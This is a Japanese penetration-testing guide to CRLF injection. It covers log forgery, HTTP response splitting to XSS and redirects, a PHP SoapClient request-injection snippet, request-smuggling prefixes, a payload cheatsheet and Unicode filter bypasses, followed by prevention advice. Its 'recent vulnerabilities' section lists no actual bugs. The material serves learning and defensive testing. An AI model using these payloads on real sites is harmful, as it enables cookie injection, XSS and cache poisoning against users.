CRLF (%0D%0A) インジェクション

Reading time: 20 minutes

CRLF

キャリッジリターン (CR) とラインフィード (LF) は、CRLF として知られる特別な文字列で、HTTP プロトコルで行の終わりや新しい行の開始を示すために使用されます。ウェブサーバーとブラウザは、HTTP ヘッダーとレスポンスのボディを区別するために CRLF を使用します。これらの文字は、Apache や Microsoft IIS など、さまざまなウェブサーバータイプの HTTP/1.1 通信で普遍的に使用されています。

CRLF インジェクション脆弱性

CRLF インジェクションは、ユーザー提供の入力に CR および LF 文字を挿入することを含みます。このアクションは、サーバー、アプリケーション、またはユーザーを誤解させ、挿入されたシーケンスを1つのレスポンスの終わりと別のレスポンスの開始として解釈させます。これらの文字は本質的に有害ではありませんが、その誤用は HTTP レスポンスの分割やその他の悪意のある活動につながる可能性があります。

例: ログファイルにおける CRLF インジェクション

Example from here

管理パネルのログファイルが IP - Time - Visited Path という形式に従っていると仮定します。典型的なエントリは次のようになります:

123.123.123.123 - 08:15 - /index.php?page=home

攻撃者はCRLFインジェクションを利用してこのログを操作できます。HTTPリクエストにCRLF文字を注入することで、攻撃者は出力ストリームを変更し、ログエントリを偽造することができます。例えば、注入されたシーケンスはログエントリを次のように変換するかもしれません:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

ここで、%0d と %0a は CR と LF の URL エンコード形式を表します。攻撃後、ログは誤解を招く形で表示されます:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

攻撃者は、ローカルホスト（サーバー環境内で通常信頼されるエンティティ）がアクションを実行したかのように見せかけることで、悪意のある活動を隠蔽します。サーバーは、%0d%0aで始まるクエリの部分を単一のパラメータとして解釈し、restrictedactionパラメータは別の入力として解析されます。操作されたクエリは、正当な管理コマンドを模倣します：/index.php?page=home&restrictedaction=edit

HTTPレスポンス分割

説明

HTTPレスポンス分割は、攻撃者がHTTPレスポンスの構造を悪用することで発生するセキュリティ脆弱性です。この構造は、特定の文字列、キャリッジリターン（CR）とラインフィード（LF）を使用してヘッダーとボディを分離します。これらは合わせてCRLFと呼ばれます。攻撃者がレスポンスヘッダーにCRLFシーケンスを挿入することに成功すると、以降のレスポンスコンテンツを効果的に操作できます。この種の操作は、特にクロスサイトスクリプティング（XSS）などの深刻なセキュリティ問題を引き起こす可能性があります。

HTTPレスポンス分割によるXSS

1. アプリケーションは次のようなカスタムヘッダーを設定します：X-Custom-Header: UserInput
2. アプリケーションは、クエリパラメータ「user_input」からUserInputの値を取得します。適切な入力検証とエンコーディングが欠如しているシナリオでは、攻撃者はCRLFシーケンスを含むペイロードを作成し、その後に悪意のあるコンテンツを追加できます。
3. 攻撃者は特別に作成された'user_input'を持つURLを作成します：?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• このURLでは、%0d%0a%0d%0aはCRLFCRLFのURLエンコード形式です。これにより、サーバーはCRLFシーケンスを挿入し、以降の部分をレスポンスボディとして扱うように仕向けます。

4. サーバーは攻撃者の入力をレスポンスヘッダーに反映させ、悪意のあるスクリプトがレスポンスボディの一部としてブラウザによって解釈される意図しないレスポンス構造を引き起こします。

リダイレクトにつながるHTTPレスポンス分割の例

From https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Browser to:

/%0d%0aLocation:%20http://myweb.com

サーバーは次のヘッダーで応答します:

Location: http://myweb.com

他の例: (から https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

In URL Path

URLパス内にペイロードを送信することで、サーバーからのレスポンスを制御できます（こちらの例）：

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md

HTTPヘッダーインジェクション

HTTPヘッダーインジェクションは、CRLF（キャリッジリターンとラインフィード）インジェクションを通じて悪用されることが多く、攻撃者がHTTPヘッダーを挿入することを可能にします。これにより、XSS（クロスサイトスクリプティング）フィルターやSOP（同一生成元ポリシー）などのセキュリティメカニズムが損なわれ、CSRFトークンなどの機密データへの不正アクセスや、クッキーの植え付けを通じたユーザーセッションの操作につながる可能性があります。

HTTPヘッダーインジェクションを介したCORSの悪用

攻撃者はHTTPヘッダーを挿入してCORS（クロスオリジンリソースシェアリング）を有効にし、SOPによって課せられた制限を回避することができます。この侵害により、悪意のあるオリジンからのスクリプトが異なるオリジンのリソースと相互作用し、保護されたデータにアクセスする可能性があります。

CRLFを介したSSRFおよびHTTPリクエストインジェクション

CRLFインジェクションは、まったく新しいHTTPリクエストを作成して挿入するために利用できます。これに関する顕著な例は、PHPのSoapClientクラスの脆弱性であり、特にuser_agentパラメータ内にあります。このパラメータを操作することで、攻撃者は追加のヘッダーやボディコンテンツを挿入したり、まったく新しいHTTPリクエストを注入したりすることができます。以下は、この悪用を示すPHPの例です：

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

ヘッダーインジェクションによるリクエストスムージング

この技術と潜在的な問題についての詳細は、元のソースを確認してください。

重要なヘッダーをインジェクトして、バックエンドが初回リクエストに応答した後も接続を維持することを確認できます：

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

その後、2回目のリクエストを指定できます。このシナリオは通常、HTTP request smugglingに関係しており、サーバーがインジェクション後に追加したヘッダーやボディ要素がさまざまなセキュリティの脆弱性につながる技術です。

悪用:

1. 悪意のあるプレフィックスインジェクション: この方法は、悪意のあるプレフィックスを指定することで次のユーザーのリクエストやウェブキャッシュを汚染することを含みます。これの例は次のとおりです：

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. レスポンスキュー汚染のためのプレフィックス作成: このアプローチは、トレーリングジャンクと組み合わせることで完全な2回目のリクエストを形成するプレフィックスを作成することを含みます。これによりレスポンスキューの汚染が引き起こされる可能性があります。例は次のとおりです：

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Injection

Memcacheはクリアテキストプロトコルを使用するキー-バリューストアです。詳細は次のリンクを参照してください：

11211 - Pentesting Memcache

完全な情報は 元の文書をお読みください。

プラットフォームがHTTPリクエストからデータを取得し、サニタイズせずにメモリキャッシュサーバーへのリクエストを実行する場合、攻撃者はこの動作を悪用して新しいメモリキャッシュコマンドを注入することができます。

例えば、元々発見された脆弱性では、キャッシュキーがユーザーが接続すべきIPとポートを返すために使用され、攻撃者はメモリキャッシュコマンドを注入してキャッシュを汚染し、被害者の詳細（ユーザー名やパスワードを含む）を攻撃者のサーバーに送信させることができました：

さらに、研究者たちは、攻撃者が知らないユーザーのメールアドレスに対して攻撃者のIPとポートを送信するためにメモリキャッシュのレスポンスをデシンクさせることができることも発見しました：

WebアプリケーションにおけるCRLF / HTTPヘッダーインジェクションの防止方法

WebアプリケーションにおけるCRLF（キャリッジリターンとラインフィード）またはHTTPヘッダーインジェクションのリスクを軽減するために、以下の戦略が推奨されます：

1. レスポンスヘッダーに直接ユーザー入力を避ける: 最も安全なアプローチは、ユーザーが提供した入力をレスポンスヘッダーに直接組み込まないことです。
2. 特殊文字をエンコードする: 直接ユーザー入力を避けることができない場合は、CR（キャリッジリターン）やLF（ラインフィード）などの特殊文字をエンコードするための関数を使用することを確認してください。この実践により、CRLFインジェクションの可能性が防止されます。
3. プログラミング言語を更新する: Webアプリケーションで使用されるプログラミング言語を定期的に最新バージョンに更新します。HTTPヘッダーを設定する関数内でCRおよびLF文字の注入を本質的に許可しないバージョンを選択してください。

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

最近の脆弱性 (2023 – 2025)

過去数年間で、広く使用されているサーバーおよびクライアント側コンポーネントにおいて、いくつかの高影響なCRLF/HTTPヘッダーインジェクションバグが発生しました。これらをローカルで再現し、研究することは、実際の悪用パターンを理解するための優れた方法です。

これらのバグは、アプリケーションレベルのコード内でトリガーされるため重要であり、ウェブサーバーのエッジだけではありません。HTTPリクエストを実行したり、レスポンスヘッダーを設定したりする内部コンポーネントは、CR/LFフィルタリングを強制する必要があります。

高度なUnicode / 制御文字バイパス

現代のWAF/リライタースタックは、リテラルの\r/\nをしばしば削除しますが、多くのバックエンドが行の終端子として扱う他の文字を忘れがちです。CRLFがフィルタリングされる場合は、次を試してください：

• %E2%80%A8 (U+2028 – 行区切り)
• %E2%80%A9 (U+2029 – 段落区切り)
• %C2%85 (U+0085 – 次の行)

一部のJava、Python、Goフレームワークは、ヘッダー解析中にこれらを\nに変換します（2023年のPraetorian研究を参照）。これらを古典的なペイロードと組み合わせてください：

/%0A%E2%80%A8Set-Cookie:%20admin=true

フィルターが最初にUTF-8を正規化する場合、制御文字は通常の改行に変換され、注入されたヘッダーが受け入れられます。

重複した Content-Encoding トリックによるWAF回避 (2023)

Praetorianの研究者たちは、次のように注入することで示しました:

%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a

反射ヘッダーにおいて、ブラウザはサーバーから提供されたボディを無視し、その後に続く攻撃者提供のHTMLをレンダリングします。これにより、アプリケーション自身のコンテンツが無効であっても、保存されたXSSが発生します。Content-Encoding: identityはRFC 9110によって許可されているため、多くのリバースプロキシはそれを変更せずに転送します。

自動ツール

• CRLFsuite – Goで書かれた高速アクティブスキャナー。
• crlfuzz – Unicode改行ペイロードをサポートする単語リストベースのファズァ。
• crlfix – Goプログラムによって生成されたHTTPリクエストをパッチする2024ユーティリティで、内部サービスをテストするためにスタンドアロンで使用できます。

ブルートフォース検出リスト

• carlospolop/Auto_Wordlists – crlf.txt

参考文献

• https://www.invicti.com/blog/web-security/crlf-http-header/
• https://www.acunetix.com/websitesecurity/crlf-injection/
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.netsparker.com/blog/web-security/crlf-http-header/
• https://nvd.nist.gov/vuln/detail/CVE-2024-45302
• https://security.praetorian.com/blog/2023-unicode-newlines-bypass/